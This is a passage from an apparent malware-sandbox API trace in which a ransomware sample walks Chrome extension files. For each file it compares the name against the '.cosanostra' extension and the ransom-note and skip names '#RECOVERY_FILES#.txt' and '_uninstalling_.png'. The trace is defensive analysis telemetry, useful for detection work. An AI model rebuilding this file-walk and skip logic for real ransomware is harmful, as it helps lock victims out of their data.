(lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.446] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json") returned 155 [0086.447] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.447] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.447] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.447] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json") returned 155 [0086.517] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.517] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.517] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.517] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json") returned 155 [0086.518] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.518] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.518] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.519] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json") returned 155 [0086.526] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.526] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.526] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.526] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json") returned 155 [0086.526] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.526] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.526] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.526] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json") returned 155 [0086.527] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.527] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.527] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.527] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json") returned 155 [0086.527] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.527] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.527] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.527] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json") returned 155 [0086.528] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.528] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.528] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.528] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json") returned 155 [0086.530] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.530] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.530] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.530] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json") returned 155 [0086.530] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.531] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.531] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.531] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json") returned 155 [0086.531] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.531] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.531] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.531] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json") returned 155 [0086.531] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.531] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.531] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.532] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json") returned 155 [0086.532] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.532] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.532] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.532] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json") returned 155 [0086.532] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.532] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.532] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.532] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json") returned 158 [0086.533] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.533] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.533] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.533] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json") returned 158 [0086.533] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.533] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.533] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.533] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json") returned 158 [0086.533] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.533] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.534] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.534] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json") returned 155 [0086.613] StrStrIW (lpFirst="computed_hashes.json", lpSrch=".cosanostra") returned 0x0 [0086.613] lstrcmpW (lpString1="computed_hashes.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.613] lstrcmpW (lpString1="computed_hashes.json", lpString2="_uninstalling_.png") returned 1 [0086.613] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json") returned 160 [0086.613] StrStrIW (lpFirst="verified_contents.json", lpSrch=".cosanostra") returned 0x0 [0086.613] lstrcmpW (lpString1="verified_contents.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.613] lstrcmpW (lpString1="verified_contents.json", lpString2="_uninstalling_.png") returned 1 [0086.613] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json") returned 162 [0086.640] StrStrIW (lpFirst="craw_background.js", lpSrch=".cosanostra") returned 0x0 [0086.640] lstrcmpW (lpString1="craw_background.js", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.640] lstrcmpW (lpString1="craw_background.js", lpString2="_uninstalling_.png") returned 1 [0086.640] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js") returned 152 [0086.640] StrStrIW (lpFirst="craw_window.js", lpSrch=".cosanostra") returned 0x0 [0086.640] lstrcmpW (lpString1="craw_window.js", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.640] lstrcmpW (lpString1="craw_window.js", lpString2="_uninstalling_.png") returned 1 [0086.640] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js") returned 148 [0086.642] StrStrIW (lpFirst="craw_window.css", lpSrch=".cosanostra") returned 0x0 [0086.642] lstrcmpW (lpString1="craw_window.css", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.642] lstrcmpW (lpString1="craw_window.css", lpString2="_uninstalling_.png") returned 1 [0086.642] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css") returned 153 [0086.642] StrStrIW (lpFirst="craw_window.html", lpSrch=".cosanostra") returned 0x0 [0086.642] lstrcmpW (lpString1="craw_window.html", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.642] lstrcmpW (lpString1="craw_window.html", lpString2="_uninstalling_.png") returned 1 [0086.642] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html") returned 155 [0086.660] StrStrIW (lpFirst="flapper.gif", lpSrch=".cosanostra") returned 0x0 [0086.660] lstrcmpW (lpString1="flapper.gif", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.660] lstrcmpW (lpString1="flapper.gif", lpString2="_uninstalling_.png") returned 1 [0086.660] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif") returned 152 [0086.661] StrStrIW (lpFirst="icon_128.png", lpSrch=".cosanostra") returned 0x0 [0086.661] lstrcmpW (lpString1="icon_128.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.661] lstrcmpW (lpString1="icon_128.png", lpString2="_uninstalling_.png") returned 1 [0086.661] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png") returned 153 [0086.661] StrStrIW (lpFirst="icon_16.png", lpSrch=".cosanostra") returned 0x0 [0086.661] lstrcmpW (lpString1="icon_16.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.661] lstrcmpW (lpString1="icon_16.png", lpString2="_uninstalling_.png") returned 1 [0086.661] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png") returned 152 [0086.661] StrStrIW (lpFirst="topbar_floating_button.png", lpSrch=".cosanostra") returned 0x0 [0086.661] lstrcmpW (lpString1="topbar_floating_button.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.661] lstrcmpW (lpString1="topbar_floating_button.png", lpString2="_uninstalling_.png") returned 1 [0086.661] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png") returned 167 [0086.661] StrStrIW (lpFirst="topbar_floating_button_close.png", lpSrch=".cosanostra") returned 0x0 [0086.661] lstrcmpW (lpString1="topbar_floating_button_close.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.661] lstrcmpW (lpString1="topbar_floating_button_close.png", lpString2="_uninstalling_.png") returned 1 [0086.661] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png") returned 173 [0086.661] StrStrIW (lpFirst="topbar_floating_button_hover.png", lpSrch=".cosanostra") returned 0x0 [0086.661] lstrcmpW (lpString1="topbar_floating_button_hover.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.661] lstrcmpW (lpString1="topbar_floating_button_hover.png", lpString2="_uninstalling_.png") returned 1 [0086.661] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png") returned 173 [0086.661] StrStrIW (lpFirst="topbar_floating_button_maximize.png", lpSrch=".cosanostra") returned 0x0 [0086.661] lstrcmpW (lpString1="topbar_floating_button_maximize.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.661] lstrcmpW (lpString1="topbar_floating_button_maximize.png", lpString2="_uninstalling_.png") returned 1 [0086.661] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png") returned 176 [0086.661] StrStrIW (lpFirst="topbar_floating_button_pressed.png", lpSrch=".cosanostra") returned 0x0 [0086.661] lstrcmpW (lpString1="topbar_floating_button_pressed.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.661] lstrcmpW (lpString1="topbar_floating_button_pressed.png", lpString2="_uninstalling_.png") returned 1 [0086.661] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png") returned 175 [0086.662] StrStrIW (lpFirst="manifest.json", lpSrch=".cosanostra") returned 0x0 [0086.662] lstrcmpW (lpString1="manifest.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.662] lstrcmpW (lpString1="manifest.json", lpString2="_uninstalling_.png") returned 1 [0086.662] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json") returned 147 [0086.687] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.687] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.687] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.687] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json") returned 159 [0086.689] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.689] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.689] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.689] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json") returned 159 [0086.689] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.689] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.689] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.689] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json") returned 159 [0086.690] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.690] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.690] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.690] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json") returned 159 [0086.691] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.691] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.691] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.691] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json") returned 159 [0086.692] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.692] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.692] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.692] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json") returned 159 [0086.692] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.692] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.692] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.692] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json") returned 159 [0086.694] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.694] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.694] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.694] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json") returned 162 [0086.694] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.694] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.694] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.694] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json") returned 159 [0086.717] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.717] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.717] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.717] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json") returned 163 [0086.719] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.719] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.719] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.719] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json") returned 159 [0086.728] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.728] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.728] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.728] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json") returned 159 [0086.728] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.728] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.728] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.728] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json") returned 160 [0086.729] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.729] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.729] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.729] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json") returned 159 [0086.730] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.730] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.730] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.730] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json") returned 159 [0086.740] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.740] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.740] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.740] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json") returned 159 [0086.741] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.741] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.741] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.741] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json") returned 159 [0086.775] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.775] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.775] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.775] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json") returned 159 [0086.775] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.775] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.775] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.775] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json") returned 159 [0086.777] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.777] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.777] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.777] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json") returned 159 [0086.778] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.778] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.778] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.778] lstrlenW 